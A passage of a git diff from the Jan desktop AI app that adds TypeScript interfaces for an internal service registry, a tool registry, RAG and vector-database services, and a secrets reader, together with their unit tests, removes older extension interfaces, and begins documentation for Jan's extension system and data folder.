SearchMode,- fileIds?: string[]- ): Promise<VectorSearchResult[]>- abstract deleteChunks(threadId: string, ids: string[]): Promise<void>- abstract deleteFile(threadId: string, fileId: string): Promise<void>- abstract deleteCollection(threadId: string): Promise<void>- abstract listAttachments(threadId: string, limit?: number): Promise<AttachmentFileInfo[]>- abstract getChunks(- threadId: string,- fileId: string,- startOrder: number,- endOrder: number- ): Promise<VectorSearchResult[]>-- // Project-level operations (shared across all threads in a project)- abstract createCollectionForProject(projectId: string, dimension: number): Promise<void>- abstract insertChunksForProject(- projectId: string,- fileId: string,- chunks: VectorChunkInput[]- ): Promise<void>- abstract ingestFileForProject(- projectId: string,- file: VectorDBFileInput,- opts: VectorDBIngestOptions- ): Promise<AttachmentFileInfo>- abstract searchCollectionForProject(- projectId: string,- query_embedding: number[],- limit: number,- threshold: number,- mode?: SearchMode,- fileIds?: string[]- ): Promise<VectorSearchResult[]>- abstract deleteChunksForProject(projectId: string, ids: string[]): Promise<void>- abstract deleteFileForProject(projectId: string, fileId: string): Promise<void>- abstract deleteCollectionForProject(projectId: string): Promise<void>- abstract listAttachmentsForProject(projectId: string, limit?: number): Promise<AttachmentFileInfo[]>- abstract getChunksForProject(- projectId: string,- fileId: string,- startOrder: number,- endOrder: number- ): Promise<VectorSearchResult[]>-}diff --git a/core/src/browser/host/index.ts b/core/src/browser/host/index.tsnew file mode 100644index 000000000..8b8054f68--- /dev/null+++ b/core/src/browser/host/index.ts@@ -0,0 +1,4 @@+export * from './services'+export * from './internal-context'+export * from './rag'+export * from './tools'diff --git a/core/src/browser/host/internal-context.ts b/core/src/browser/host/internal-context.tsnew file mode 100644index 000000000..a82bd3d49--- /dev/null+++ b/core/src/browser/host/internal-context.ts@@ -0,0 +1,54 @@+import type { ExtensionContext } from '@janhq/extension-api'+import type { downloads } from '../download'+import type { EngineManager } from '../extensions/engines/EngineManager'+import type { fs } from '../fs'+import type { appSettings } from '../settings'+import type { ServiceRegistry } from './services'+import type { InternalToolRegistry } from './tools'++/** Keyring key the app stores the Hugging Face access token under. */+export const HUGGINGFACE_TOKEN_SECRET_KEY = 'huggingface'++/**+ * Read access to the app's own keyring entries (provider keys, the Hugging+ * Face token). Unlike `ctx.settings`, keys are not scoped to the extension:+ * a built-in reads the secret the app owns instead of keeping its own copy.+ */+export interface HostSecretsReader {+ /** The stored value, or null when the key is not set. */+ get(key: string): Promise<string | null>+}++/**+ * `fetch` for Jan's own servers on loopback (the llama.cpp engine, MLX). The+ * host sends it from the native HTTP client with every proxy bypassed, so a+ * system, environment or VPN proxy never captures a local request; the body+ * streams as it arrives. `connectTimeout` is in milliseconds. Never for a+ * remote provider, which must keep honouring the user's proxy: it rejects+ * any URL whose host is not localhost, 127.0.0.1 or [::1] without sending it.+ */+export type LoopbackFetch = (+ input: string | URL | Request,+ init?: RequestInit & { connectTimeout?: number }+) => Promise<Response>++/**+ * The context in-process built-ins receive. `internal` reaches host+ * facilities that third-party extensions never get; it carries no stability+ * guarantee and lives here rather than in `@janhq/extension-api` for that+ * reason.+ */+export interface InternalExtensionContext extends ExtensionContext {+ readonly internal: {+ readonly services: ServiceRegistry+ readonly fs: typeof fs+ readonly appSettings: typeof appSettings+ readonly downloads: typeof downloads+ readonly secrets: HostSecretsReader+ /** Registers inference engines; disposing a registration removes it. */+ readonly engines: Pick<EngineManager, 'register'>+ /** Tools offered under their plain names and never prompted for. */+ readonly tools: InternalToolRegistry+ readonly loopbackFetch: LoopbackFetch+ }+}diff --git a/core/src/browser/host/rag.ts b/core/src/browser/host/rag.tsnew file mode 100644index 000000000..e611c7485--- /dev/null+++ b/core/src/browser/host/rag.ts@@ -0,0 +1,136 @@+export type SearchMode = 'auto' | 'ann' | 'linear'++export interface VectorDBStatus {+ ann_available: boolean+}++export interface VectorChunkInput {+ text: string+ embedding: number[]+}++export interface VectorSearchResult {+ id: string+ text: string+ score?: number+ file_id: string+ chunk_file_order: number+}++export interface AttachmentFileInfo {+ id: string+ name?: string+ path?: string+ type?: string+ size?: number+ chunk_count: number+}++export interface VectorDBFileInput {+ path: string+ name?: string+ type?: string+ size?: number+}++export interface VectorDBIngestOptions {+ chunkSize: number+ chunkOverlap: number+}++export interface AttachmentInput {+ path: string+ name?: string+ type?: string+ size?: number+}++export interface IngestAttachmentsResult {+ filesProcessed: number+ chunksInserted: number+ files: AttachmentFileInfo[]+}++/** The server name the RAG tools are listed under. */+export const RAG_INTERNAL_SERVER = 'rag-internal'++/**+ * Local vector storage and search, as the vector-db built-in provides it.+ * Thread methods take a thread id, project methods a project id; the+ * service maps each to its own collection.+ */+export interface VectorDBService {+ getStatus(): Promise<VectorDBStatus>+ createCollection(threadId: string, dimension: number): Promise<void>+ insertChunks(threadId: string, fileId: string, chunks: VectorChunkInput[]): Promise<void>+ ingestFile(+ threadId: string,+ file: VectorDBFileInput,+ opts: VectorDBIngestOptions+ ): Promise<AttachmentFileInfo>+ searchCollection(+ threadId: string,+ queryEmbedding: number[],+ limit: number,+ threshold: number,+ mode?: SearchMode,+ fileIds?: string[]+ ): Promise<VectorSearchResult[]>+ deleteChunks(threadId: string, ids: string[]): Promise<void>+ deleteFile(threadId: string, fileId: string): Promise<void>+ deleteCollection(threadId: string): Promise<void>+ listAttachments(threadId: string, limit?: number): Promise<AttachmentFileInfo[]>+ getChunks(+ threadId: string,+ fileId: string,+ startOrder: number,+ endOrder: number+ ): Promise<VectorSearchResult[]>++ createCollectionForProject(projectId: string, dimension: number): Promise<void>+ insertChunksForProject(+ projectId: string,+ fileId: string,+ chunks: VectorChunkInput[]+ ): Promise<void>+ ingestFileForProject(+ projectId: string,+ file: VectorDBFileInput,+ opts: VectorDBIngestOptions+ ): Promise<AttachmentFileInfo>+ searchCollectionForProject(+ projectId: string,+ queryEmbedding: number[],+ limit: number,+ threshold: number,+ mode?: SearchMode,+ fileIds?: string[]+ ): Promise<VectorSearchResult[]>+ deleteChunksForProject(projectId: string, ids: string[]): Promise<void>+ deleteFileForProject(projectId: string, fileId: string): Promise<void>+ deleteCollectionForProject(projectId: string): Promise<void>+ listAttachmentsForProject(projectId: string, limit?: number): Promise<AttachmentFileInfo[]>+ getChunksForProject(+ projectId: string,+ fileId: string,+ startOrder: number,+ endOrder: number+ ): Promise<VectorSearchResult[]>+}++/**+ * Document ingestion, parsing and embedding, as the rag built-in provides+ * it. Its retrieval tools go through the internal tool registry instead.+ */+export interface RAGIngestService {+ ingestAttachments(threadId: string, files: AttachmentInput[]): Promise<IngestAttachmentsResult>+ /** Into the project collection, shared by every thread of the project. */+ ingestAttachmentsForProject(+ projectId: string,+ files: AttachmentInput[]+ ): Promise<IngestAttachmentsResult>+ /** Plain text of a document, for inline use. */+ parseDocument(path: string, type?: string): Promise<string>+ /** One vector per text, in input order. */+ embed(texts: string[]): Promise<number[][]>+}diff --git a/core/src/browser/host/services.test.ts b/core/src/browser/host/services.test.tsnew file mode 100644index 000000000..8b6e589f2--- /dev/null+++ b/core/src/browser/host/services.test.ts@@ -0,0 +1,46 @@+import { describe, expect, it } from 'vitest'+import { ServiceKey, createServiceRegistry } from './services'++const Greeter = new ServiceKey<{ greet(): string }>('greeter')++describe('ServiceRegistry', () => {+ it('returns undefined for a key nobody provides', () => {+ expect(createServiceRegistry().get(Greeter)).toBeUndefined()+ })++ it('returns the provided implementation until it is disposed', () => {+ const registry = createServiceRegistry()+ const impl = { greet: () => 'hi' }+ const registration = registry.provide(Greeter, impl)+ expect(registry.get(Greeter)).toBe(impl)+ registration.dispose()+ expect(registry.get(Greeter)).toBeUndefined()+ })++ it('refuses a second provider while the first is registered', () => {+ const registry = createServiceRegistry()+ registry.provide(Greeter, { greet: () => 'a' })+ expect(() => registry.provide(Greeter, { greet: () => 'b' })).toThrow(/greeter/)+ })++ it('lets a new provider take over after the old one is disposed', () => {+ const registry = createServiceRegistry()+ const first = registry.provide(Greeter, { greet: () => 'a' })+ first.dispose()+ const second = { greet: () => 'b' }+ registry.provide(Greeter, second)+ // A stale dispose must not remove the newer provider.+ first.dispose()+ expect(registry.get(Greeter)).toBe(second)+ })++ it('fires onDidChange with the key id on provide and on dispose', () => {+ const registry = createServiceRegistry()+ const seen: string[] = []+ registry.onDidChange((id) => seen.push(id))+ const registration = registry.provide(Greeter, { greet: () => 'a' })+ registration.dispose()+ registration.dispose()+ expect(seen).toEqual(['greeter', 'greeter'])+ })+})diff --git a/core/src/browser/host/services.ts b/core/src/browser/host/services.tsnew file mode 100644index 000000000..68810157d--- /dev/null+++ b/core/src/browser/host/services.ts@@ -0,0 +1,114 @@+import { Emitter, toDisposable, type Disposable, type Event } from '@janhq/extension-api'+import type { AssistantInterface } from '../../types'+import type { DownloadItem } from '../download'+import type { SessionInfo, UnloadResult } from '../extensions/engines/AIEngine'+import type { RAGIngestService, VectorDBService } from './rag'++/**+ * A typed handle for a host service. `T` exists only at compile time; the+ * phantom field makes `ServiceKey<A>` and `ServiceKey<B>` incompatible.+ */+export class ServiceKey<T> {+ declare readonly _t?: T+ constructor(readonly id: string) {}+}++/** Where built-ins publish services and the app looks them up. */+export interface ServiceRegistry {+ /**+ * Publishes `impl` under `key` until the result is disposed. Throws when+ * another provider holds the key: two silent providers would make lookups+ * depend on activation order.+ */+ provide<T>(key: ServiceKey<T>, impl: T): Disposable+ get<T>(key: ServiceKey<T>): T | undefined+ /** Fires the key id whenever a provider appears or goes away. */+ readonly onDidChange: Event<string>+}++export function createServiceRegistry(): ServiceRegistry {+ const impls = new Map<string, unknown>()+ const changes = new Emitter<string>()+ return {+ provide<T>(key: ServiceKey<T>, impl: T): Disposable {+ if (impls.has(key.id)) throw new Error(`Service '${key.id}' is already provided`)+ impls.set(key.id, impl)+ changes.fire(key.id)+ return toDisposable(() => {+ // A newer provider may hold the key after this one was replaced.+ if (impls.get(key.id) !== impl) return+ impls.delete(key.id)+ changes.fire(key.id)+ })+ },+ get<T>(key: ServiceKey<T>): T | undefined {+ return impls.get(key.id) as T | undefined+ },+ onDidChange: changes.event,+ }+}++export type AssistantService = AssistantInterface++/** File downloads with progress, as the download built-in provides them. */+export interface DownloadService {+ downloadFile(+ url: string,+ savePath: string,+ taskId: string,+ proxyConfig?: DownloadItem['proxy'],+ onProgress?: (transferred: number, total: number) => void+ ): Promise<void>+ downloadFiles(+ items: DownloadItem[],+ taskId: string,+ onProgress?: (transferred: number, total: number) => void+ ): Promise<void>+ cancelDownload(taskId: string): Promise<void>+ pauseDownload(taskId: string): Promise<void>+}++/** What a local engine reports for a loaded model. */+export interface LocalModelProps {+ /** The context window the model was launched with. */+ nCtx: number+ totalSlots?: number+ modelAlias?: string+ isSleeping?: boolean+ modalities?: { vision: boolean; video: boolean; audio: boolean }+}++/** The runtime queries the app makes of a local inference engine. */+export interface LocalEngineService {+ /** Undefined until the model is loaded. */+ getModelProps(modelId: string): Promise<LocalModelProps | undefined>+ unload(modelId: string): Promise<UnloadResult>+}++/** A compute device the llama.cpp engine can run on. */+export interface EngineDevice {+ id: string+ name: string+ mem: number+ free: number+}++export interface LlamacppService extends LocalEngineService {+ getDevices(): Promise<EngineDevice[]>+ /** Restarts the engine when the machine's devices changed since it started. */+ reconcileEngineDevices(): Promise<'unchanged' | 'restarted' | 'busy'>+}++export interface MlxService extends LocalEngineService {+ /** The running server for a model, or null when it is not loaded. */+ findSession(modelId: string): Promise<SessionInfo | null>+}++export const ServiceKeys = {+ Assistants: new ServiceKey<AssistantService>('assistants'),+ Downloads: new ServiceKey<DownloadService>('downloads'),+ Llamacpp: new ServiceKey<LlamacppService>('llamacpp'),+ Mlx: new ServiceKey<MlxService>('mlx'),+ VectorDB: new ServiceKey<VectorDBService>('vector-db'),+ RAG: new ServiceKey<RAGIngestService>('rag'),+}diff --git a/core/src/browser/host/tools.test.ts b/core/src/browser/host/tools.test.tsnew file mode 100644index 000000000..3f6ce5856--- /dev/null+++ b/core/src/browser/host/tools.test.ts@@ -0,0 +1,75 @@+import { describe, expect, it, vi } from 'vitest'+import { createInternalToolRegistry, type InternalTool } from './tools'++const tool = (name: string, text = name): InternalTool => ({+ name,+ definition: () => ({+ name,+ description: `${name} tool`,+ inputSchema: { type: 'object', properties: {} },+ server: 'test-internal',+ }),+ call: vi.fn(async () => ({ error: '', content: [{ type: 'text', text }] })),+})++describe('InternalToolRegistry', () => {+ it('lists names and definitions in registration order', () => {+ const registry = createInternalToolRegistry()+ registry.register(tool('b'))+ registry.register(tool('a'))+ expect(registry.names()).toEqual(['b', 'a'])+ expect(registry.definitions().map((d) => d.name)).toEqual(['b', 'a'])+ })++ it('builds definitions on every read, so they follow current settings', () => {+ const registry = createInternalToolRegistry()+ let limit = 3+ registry.register({+ ...tool('t'),+ definition: () => ({+ name: 't',+ description: String(limit),+ inputSchema: {},+ server: 's',+ }),+ })+ expect(registry.definitions()[0].description).toBe('3')+ limit = 7+ expect(registry.definitions()[0].description).toBe('7')+ })++ it('calls the registered handler with the arguments', async () => {+ const registry = createInternalToolRegistry()+ const t = tool('echo', 'out')+ registry.register(t)+ expect(registry.has('echo')).toBe(true)+ await expect(registry.call('echo', { x: 1 })).resolves.toEqual({+ error: '',+ content: [{ type: 'text', text: 'out' }],+ })+ expect(t.call).toHaveBeenCalledWith({ x: 1 })+ })++ it('answers an unknown tool with an error result', async () => {+ const res = await createInternalToolRegistry().call('nope', {})+ expect(res.error).toBe('Unknown tool: nope')+ })++ it('refuses a second tool of the same name', () => {+ const registry = createInternalToolRegistry()+ registry.register(tool('dup'))+ expect(() => registry.register(tool('dup'))).toThrow(/dup/)+ })++ it('forgets a tool when its registration is disposed and reports changes', () => {+ const registry = createInternalToolRegistry()+ const changes = vi.fn()+ registry.onDidChange(changes)+ const registration = registry.register(tool('gone'))+ registration.dispose()+ registration.dispose()+ expect(registry.has('gone')).toBe(false)+ expect(registry.names()).toEqual([])+ expect(changes).toHaveBeenCalledTimes(2)+ })+})diff --git a/core/src/browser/host/tools.ts b/core/src/browser/host/tools.tsnew file mode 100644index 000000000..ec48e4b2c--- /dev/null+++ b/core/src/browser/host/tools.ts@@ -0,0 +1,56 @@+import { Emitter, toDisposable, type Disposable, type Event } from '@janhq/extension-api'+import type { MCPTool, MCPToolCallResult } from '../../types'++/**+ * A tool a built-in offers the model under its plain name, outside the+ * contributed-tools path: no wire-name prefix, no `ext:` server, and the+ * chat routes it like Jan's own tools rather than prompting for approval.+ */+export interface InternalTool {+ name: string+ /** Built on every read, so the schema can follow current settings. */+ definition(): MCPTool+ call(args: Record<string, unknown>): Promise<MCPToolCallResult>+}++/** Where built-ins register internal tools and the chat reads them. */+export interface InternalToolRegistry {+ /** Throws when another tool holds the name. */+ register(tool: InternalTool): Disposable+ has(name: string): boolean+ /** Registration order; the tool list is part of the prompt prefix. */+ names(): string[]+ definitions(): MCPTool[]+ /** An unknown name is an error result, like any failed tool call. */+ call(name: string, args: Record<string, unknown>): Promise<MCPToolCallResult>+ readonly onDidChange: Event<void>+}++export function createInternalToolRegistry(): InternalToolRegistry {+ const tools = new Map<string, InternalTool>()+ const changes = new Emitter<void>()+ return {+ register(tool: InternalTool): Disposable {+ if (tools.has(tool.name)) throw new Error(`Tool '${tool.name}' is already registered`)+ tools.set(tool.name, tool)+ changes.fire()+ return toDisposable(() => {+ if (tools.get(tool.name) !== tool) return+ tools.delete(tool.name)+ changes.fire()+ })+ },+ has: (name) => tools.has(name),+ names: () => [...tools.keys()],+ definitions: () => [...tools.values()].map((t) => t.definition()),+ async call(name, args) {+ const tool = tools.get(name)+ if (!tool) {+ const text = `Unknown tool: ${name}`+ return { error: text, content: [{ type: 'text', text }] }+ }+ return tool.call(args)+ },+ onDidChange: changes.event,+ }+}diff --git a/core/src/browser/index.test.ts b/core/src/browser/index.test.tsindex a02604c20..e32e68816 100644--- a/core/src/browser/index.test.ts+++ b/core/src/browser/index.test.ts@@ -2,7 +2,6 @@ import { describe, it, expect } from 'vitest'import * as Core from './core'import * as Events from './events'import * as FileSystem from './fs'-import * as Extension from './extension'import * as Extensions from './extensions'import * as Models from './models'@@ -19,10 +18,6 @@ describe('Module Tests', () => {expect(FileSystem).toBeDefined()})- it('should export Extension module', () => {- expect(Extension).toBeDefined()- })-it('should export all base extensions', () => {expect(Extensions).toBeDefined()})diff --git a/core/src/browser/index.ts b/core/src/browser/index.tsindex b9ee292c4..5dd16ab10 100644--- a/core/src/browser/index.ts+++ b/core/src/browser/index.ts@@ -23,10 +23,10 @@ export * from './fs'export * from './settings'/**- * Export Extension module.+ * Export download module.* @module*/-export * from './extension'+export * from './download'/*** Export all base extensions.@@ -34,6 +34,12 @@ export * from './extension'*/export * from './extensions'+/**+ * Export the extension host's internal tier.+ * @module+ */+export * from './host'+/*** Export all base models.* @modulediff --git a/core/src/browser/models/manager.ts b/core/src/browser/models/manager.tsindex 2c4c8750d..2641f81d4 100644--- a/core/src/browser/models/manager.ts+++ b/core/src/browser/models/manager.ts@@ -40,7 +40,7 @@ export class ModelManager {/**- * Shared instance of ExtensionManager.+ * Shared instance of ModelManager.*/static instance() {if (!window.core.modelManager)diff --git a/core/src/browser/settings.ts b/core/src/browser/settings.tsindex a909cb7e6..4d37bc023 100644--- a/core/src/browser/settings.ts+++ b/core/src/browser/settings.ts@@ -2,8 +2,8 @@* Typed access to the Rust settings store (`core::app::settings_store`), which* persists to `<jan_data>/settings.json`.*- * Named `appSettings` rather than `settings` to keep it distinct from- * `BaseExtension`'s per-extension setting descriptors, which are unrelated.+ * Named `appSettings` rather than `settings` to keep it distinct from the+ * per-extension settings store on the extension host, which is unrelated.*//**diff --git a/core/src/types/api/index.ts b/core/src/types/api/index.tsindex 151d07892..4ac8fbbb7 100644--- a/core/src/types/api/index.ts+++ b/core/src/types/api/index.ts@@ -83,14 +83,6 @@ export enum DownloadEvent {onModelValidationFailed = 'onModelValidationFailed',onFileDownloadAndVerificationSuccess = 'onFileDownloadAndVerificationSuccess',}-export enum ExtensionRoute {- baseExtensions = 'baseExtensions',- getActiveExtensions = 'getActiveExtensions',- installExtension = 'installExtension',- invokeExtensionFunc = 'invokeExtensionFunc',- updateExtension = 'updateExtension',- uninstallExtension = 'uninstallExtension',-}export enum FileSystemRoute {appendFileSync = 'appendFileSync',unlinkSync = 'unlinkSync',@@ -105,6 +97,11 @@ export enum FileSystemRoute {writeYaml = 'writeYaml',decompress = 'decompress',}+export enum DownloadRoute {+ downloadFiles = 'downloadFiles',+ cancelDownloadTask = 'cancelDownloadTask',+ pauseDownloadTask = 'pauseDownloadTask',+}export enum FileManagerRoute {copyFile = 'copyFile',getJanDataFolderPath = 'getJanDataFolderPath',@@ -133,14 +130,14 @@ export type DownloadEventFunctions = {[K in DownloadEvent]: ApiFunction}-export type ExtensionRouteFunctions = {- [K in ExtensionRoute]: ApiFunction-}-export type FileSystemRouteFunctions = {[K in FileSystemRoute]: ApiFunction}+export type DownloadRouteFunctions = {+ [K in DownloadRoute]: ApiFunction+}+export type FileManagerRouteFunctions = {[K in FileManagerRoute]: ApiFunction}@@ -149,15 +146,15 @@ export type APIFunctions = NativeRouteFunctions &AppRouteFunctions &AppEventFunctions &DownloadEventFunctions &- ExtensionRouteFunctions &FileSystemRouteFunctions &+ DownloadRouteFunctions &FileManagerRouteexport const CoreRoutes = [...Object.values(AppRoute),- ...Object.values(ExtensionRoute),...Object.values(FileSystemRoute),...Object.values(FileManagerRoute),+ ...Object.values(DownloadRoute),'launchClaudeCodeWithConfig','writeEnvFileToConfig',]diff --git a/core/src/types/assistant/assistantInterface.ts b/core/src/types/assistant/assistantInterface.tsindex 3c10bbb7f..4d742ece4 100644--- a/core/src/types/assistant/assistantInterface.ts+++ b/core/src/types/assistant/assistantInterface.ts@@ -1,7 +1,6 @@import { Assistant } from './assistantEntity'/**- * Assistant extension for managing assistants.- * @extends BaseExtension+ * Assistant service for managing assistants.*/export interface AssistantInterface {/**diff --git a/core/src/types/inference/index.ts b/core/src/types/inference/index.tsindex a0a71f142..16e0d4f7b 100644--- a/core/src/types/inference/index.ts+++ b/core/src/types/inference/index.ts@@ -1,3 +1,2 @@export * from './inferenceEntity'-export * from './inferenceInterface'export * from './inferenceEvent'diff --git a/core/src/types/inference/inferenceInterface.ts b/core/src/types/inference/inferenceInterface.tsdeleted file mode 100644index 21e327e45..000000000--- a/core/src/types/inference/inferenceInterface.ts+++ /dev/null@@ -1,13 +0,0 @@-import { MessageRequest, ThreadMessage } from '../message'--/**- * Inference extension. Start, stop and inference models.- */-export interface InferenceInterface {- /**- * Processes an inference request.- * @param data - The data for the inference request.- * @returns The result of the inference request.- */- inference(data: MessageRequest): Promise<ThreadMessage>-}diff --git a/core/src/types/mcp/index.ts b/core/src/types/mcp/index.tsindex bd809d790..36f2342a8 100644--- a/core/src/types/mcp/index.ts+++ b/core/src/types/mcp/index.ts@@ -1,2 +1 @@export * from './mcpEntity'-export * from './mcpInterface'diff --git a/core/src/types/mcp/mcpEntity.ts b/core/src/types/mcp/mcpEntity.tsindex 6c7e0c598..23ab8d9bc 100644--- a/core/src/types/mcp/mcpEntity.ts+++ b/core/src/types/mcp/mcpEntity.ts@@ -23,16 +23,3 @@ export interface MCPServerInfo {tools?: MCPTool[]}-/**- * Props for MCP tool UI components- */-export interface MCPToolComponentProps {- /** List of available MCP tools */- tools: MCPTool[]-- /** Function to check if a specific tool is currently enabled */- isToolEnabled: (toolName: string) => boolean-- /** Function to toggle a tool's enabled/disabled state */- onToolToggle: (toolName: string, enabled: boolean) => void-}diff --git a/core/src/types/mcp/mcpInterface.ts b/core/src/types/mcp/mcpInterface.tsdeleted file mode 100644index 77f12d3f7..000000000--- a/core/src/types/mcp/mcpInterface.ts+++ /dev/null@@ -1,35 +0,0 @@-/**- * MCP (Model Context Protocol) interface- */--import { MCPTool, MCPToolCallResult } from './mcpEntity'--export interface MCPInterface {- /**- * Get all available MCP tools- */- getTools(): Promise<MCPTool[]>-- /**- * Call a specific MCP tool- * @param toolName - Name of the tool to call- * @param args - Arguments to pass to the tool- * @param serverName - Optional server name to disambiguate tools with same name- */- callTool(toolName: string, args: Record<string, unknown>, serverName?: string): Promise<MCPToolCallResult>-- /**- * Get list of connected MCP servers- */- getConnectedServers(): Promise<string[]>-- /**- * Refresh the list of available tools- */- refreshTools(): Promise<void>-- /**- * Check if MCP service is healthy- */- isHealthy(): Promise<boolean>-}diff --git a/core/src/types/message/index.ts b/core/src/types/message/index.tsindex ebb4c363d..94921773b 100644--- a/core/src/types/message/index.ts+++ b/core/src/types/message/index.ts@@ -1,4 +1,3 @@export * from './messageEntity'-export * from './messageInterface'export * from './messageEvent'export * from './messageRequestType'diff --git a/core/src/types/message/messageInterface.ts b/core/src/types/message/messageInterface.tsdeleted file mode 100644index 784a3de88..000000000--- a/core/src/types/message/messageInterface.ts+++ /dev/null@@ -1,37 +0,0 @@-import { ThreadMessage } from './messageEntity'--/**- * Conversational extension. Persists and retrieves conversations.- * @abstract- * @extends BaseExtension- */-export interface MessageInterface {- /**- * Adds a new message to the thread.- * @param {ThreadMessage} message - The message to be added.- * @returns {Promise<void>} A promise that resolves when the message has been added.- */- createMessage(message: ThreadMessage): Promise<ThreadMessage>-- /**- * Retrieves all messages from a specific thread.- * @param {string} threadId - The ID of the thread to retrieve the messages from.- * @returns {Promise<ThreadMessage[]>} A promise that resolves to an array of messages from the thread.- */- listMessages(threadId: string): Promise<ThreadMessage[]>-- /**- * Updates an existing message in a thread.- * @param {ThreadMessage} message - The message to be updated (must have existing ID).- * @returns {Promise<ThreadMessage>} A promise that resolves to the updated message.- */- modifyMessage(message: ThreadMessage): Promise<ThreadMessage>-- /**- * Deletes a specific message from a thread.- * @param {string} threadId - The ID of the thread from which the message will be deleted.- * @param {string} messageId - The ID of the message to be deleted.- * @returns {Promise<void>} A promise that resolves when the message has been successfully deleted.- */- deleteMessage(threadId: string, messageId: string): Promise<void>-}diff --git a/core/src/types/thread/index.ts b/core/src/types/thread/index.tsindex c6ff6204a..2349b1bbf 100644--- a/core/src/types/thread/index.ts+++ b/core/src/types/thread/index.ts@@ -1,2 +1 @@export * from './threadEntity'-export * from './threadInterface'diff --git a/core/src/types/thread/threadInterface.ts b/core/src/types/thread/threadInterface.tsdeleted file mode 100644index 4a78812c6..000000000--- a/core/src/types/thread/threadInterface.ts+++ /dev/null@@ -1,39 +0,0 @@-import { Thread } from './threadEntity'--/**- * Conversational extension. Persists and retrieves conversations.- * @abstract- * @extends BaseExtension- */-export interface ThreadInterface {- /**- * Returns a list of thread.- * @abstract- * @returns {Promise<Thread[]>} A promise that resolves to an array of threads.- */- listThreads(): Promise<Thread[]>-- /**- * Create a thread.- * @abstract- * @param {Thread} thread - The thread to save.- * @returns {Promise<void>} A promise that resolves when the thread is saved.- */- createThread(thread: Thread): Promise<Thread>-- /**- * modify a thread.- * @abstract- * @param {Thread} thread - The thread to save.- * @returns {Promise<void>} A promise that resolves when the thread is saved.- */- modifyThread(thread: Thread): Promise<void>-- /**- * Deletes a thread.- * @abstract- * @param {string} threadId - The ID of the thread to delete.- * @returns {Promise<void>} A promise that resolves when the thread is deleted.- */- deleteThread(threadId: string): Promise<void>-}diff --git a/docs/src/pages/docs/desktop/_meta.json b/docs/src/pages/docs/desktop/_meta.jsonindex 204deb45b..8557ca5a6 100644--- a/docs/src/pages/docs/desktop/_meta.json+++ b/docs/src/pages/docs/desktop/_meta.json@@ -20,6 +20,7 @@"manage-models": "Hub","api-server": "Local API Server","settings": "App Settings",+ "extensions": "Extensions","local-engine": "Local AI Engine","model-parameters": "Model Parameters","privacy-policy": {diff --git a/docs/src/pages/docs/desktop/data-folder.mdx b/docs/src/pages/docs/desktop/data-folder.mdxindex 1229cdd47..27fb71a62 100644--- a/docs/src/pages/docs/desktop/data-folder.mdx+++ b/docs/src/pages/docs/desktop/data-folder.mdx@@ -68,14 +68,9 @@ Inside the data folder you will typically find:assistant.json/extensions/extensions.json- /@janhq/- /assistant-extension/- /conversational-extension/- /download-extension/- /llamacpp-extension/- /mlx-extension/- /rag-extension/- /vector-db-extension/+ sources.json+ /<extension_id>/<version>/+ /.staging//files//logs/app.log@@ -157,7 +152,22 @@ Parameters:| retrieval_template | Response format template | string | None |### `extensions/`-Add-on central. Organization extensions live in `@janhq/`, solo ones in root.+Third-party [extensions](/docs/desktop/extensions) you installed. Built-in+extensions are part of the app and are not stored here.++- `extensions.json`: what is installed, from where, the active and previous+ version, the permissions you granted, and whether safe mode is on. Manage it+ from **Settings > Extensions** rather than by hand; an unreadable file is moved+ aside to `extensions.json.corrupt-<timestamp>` and Jan starts with an empty list.+ The list and the `@janhq/` folders that older versions of Jan kept here for+ their built-in extensions are removed on the first launch after an upgrade.+- `sources.json`: the index sources you added, with their pinned public keys.+- `<extension_id>/<version>/`: the unpacked package of the active version and,+ after an update, the previous one kept for rollback.+- `.staging/`: packages being checked or waiting for your consent.++Settings of extensions are stored with Jan's other settings (secret ones in the+OS keyring). A factory reset removes this folder.### `logs/`Debugging headquarters (`/logs/app.log`):diff --git a/docs/src/pages/docs/desktop/extensions/_meta.json b/docs/src/pages/docs/desktop/extensions/_meta.jsonnew file mode 100644index 000000000..9af941973--- /dev/null+++ b/docs/src/pages/docs/desktop/extensions/_meta.json@@ -0,0 +1,8 @@+{+ "index": "Overview",+ "permissions": "Permissions",+ "develop": "Build an Extension",+ "manifest": "Manifest Reference",+ "api": "API Reference",+ "publishing": "Publishing an Index"+}diff --git a/docs/src/pages/docs/desktop/extensions/api.mdx b/docs/src/pages/docs/desktop/extensions/api.mdxnew file mode 100644index 000000000..07a92c0cd--- /dev/null+++ b/docs/src/pages/docs/desktop/extensions/api.mdx@@ -0,0 +1,356 @@+---+title: Extension API+description: Reference for the ExtensionContext a Jan extension's activate function receives (@janhq/extension-api 1.0.0).+keywords:+ [+ Jan,+ extensions,+ extension API,+ ExtensionContext,+ TypeScript,+ ]+---+import { Callout } from 'nextra/components'++# Extension API++The types live in the `@janhq/extension-api` package (version **1.0.0**). An+extension's bundle imports only types from it; at runtime everything comes+through the `ctx` object passed to `activate`. The authoritative signatures are+in the package's committed+[`api-report.d.ts`](https://github.com/janhq/jan/blob/main/packages/extension-api/api-report.d.ts).++```ts+export interface ExtensionModule {+ activate(ctx: ExtensionContext): void | Promise<void>+ deactivate?(): void | Promise<void>+}++export interface ExtensionContext {+ readonly extension: { id: string; version: string; displayName: string }+ /** Disposed by the host on deactivation; add every registration here. */+ readonly subscriptions: DisposableStore+ readonly log: Logger+ readonly settings: SettingsApi+ readonly storage: StorageApi+ readonly commands: CommandsApi+ readonly ui: UiApi+ readonly conversations: ConversationsApi+ readonly tools: ToolsApi+ readonly providers: ProvidersApi+ readonly http: HttpApi+ readonly proposed: ProposedApi+}+```++Every call is checked by the host: arguments first (`E_INVALID_ARGS`), then the+permission (`E_PERMISSION`). Methods that return a promise reject; methods that+return a value or a `Disposable` (registrations, `ui.notify`) send the call at+once, and a failure is logged and fails `activate` if it happened during+activation.++## `ctx.log`++```ts+interface Logger {+ debug(...args: unknown[]): void+ info(...args: unknown[]): void+ warn(...args: unknown[]): void+ error(...args: unknown[]): void+}+```++Writes to the app log, tagged `[ext:<id>]`. Rate limited; see+[Limits](/docs/desktop/extensions/develop#limits).++## `ctx.settings`++The extension's own settings from `contributes.settings`. No permission needed.++```ts+interface SettingsApi {+ /** The current value, or the manifest default. Undefined for an undeclared key. */+ get<T extends SettingValue>(key: string): Promise<T | undefined>+ /** Stores a value for a declared key; the type must match the control. */+ set(key: string, value: SettingValue): Promise<void>+ readonly onDidChange: Event<{ key: string; value: SettingValue }>+}+type SettingValue = string | number | boolean+```++## `ctx.storage`++Private key-value storage of JSON values, 1 MiB per extension. No permission+needed.++```ts+interface StorageApi {+ get<T extends JsonValue>(key: string): Promise<T | undefined>+ 